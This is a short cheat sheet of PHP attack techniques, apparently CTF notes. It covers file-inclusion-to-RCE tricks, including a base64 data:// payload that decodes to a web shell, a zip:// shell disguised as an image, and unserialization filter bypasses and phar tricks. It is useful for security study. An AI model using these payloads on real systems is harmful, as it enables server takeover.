RCE data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
RCE php://input
RCE /proc/self/fd/...(brute to get access.log or error.log) via-php-sessions
upload zipped payload then use zip stream zip://shell.jpg%23payload.php
We can declare and assign new properties in serialize data. PHP method/function names are case insensitive There are additional magic methods in PHP default interfaces like ArrayAccess, ArrayIterator,Serializable: offsetGet(), offsetSet(), current()
use S and \00 to bypass null byte filter mates2019r4-web2 , not necessary with php>=7.2
use R to refer another property O:8:"stdClass":2:{s:3:"xyz";s:1:"u";s:4:"flag";R:2;} phpggc
using file function with phar wrapper ripstech-New-PHP-Exploitation-Technique-Added , It’s-a-PHP-unserialization-vulnerability-Jim,
...
Possible SSRF with __call() [1]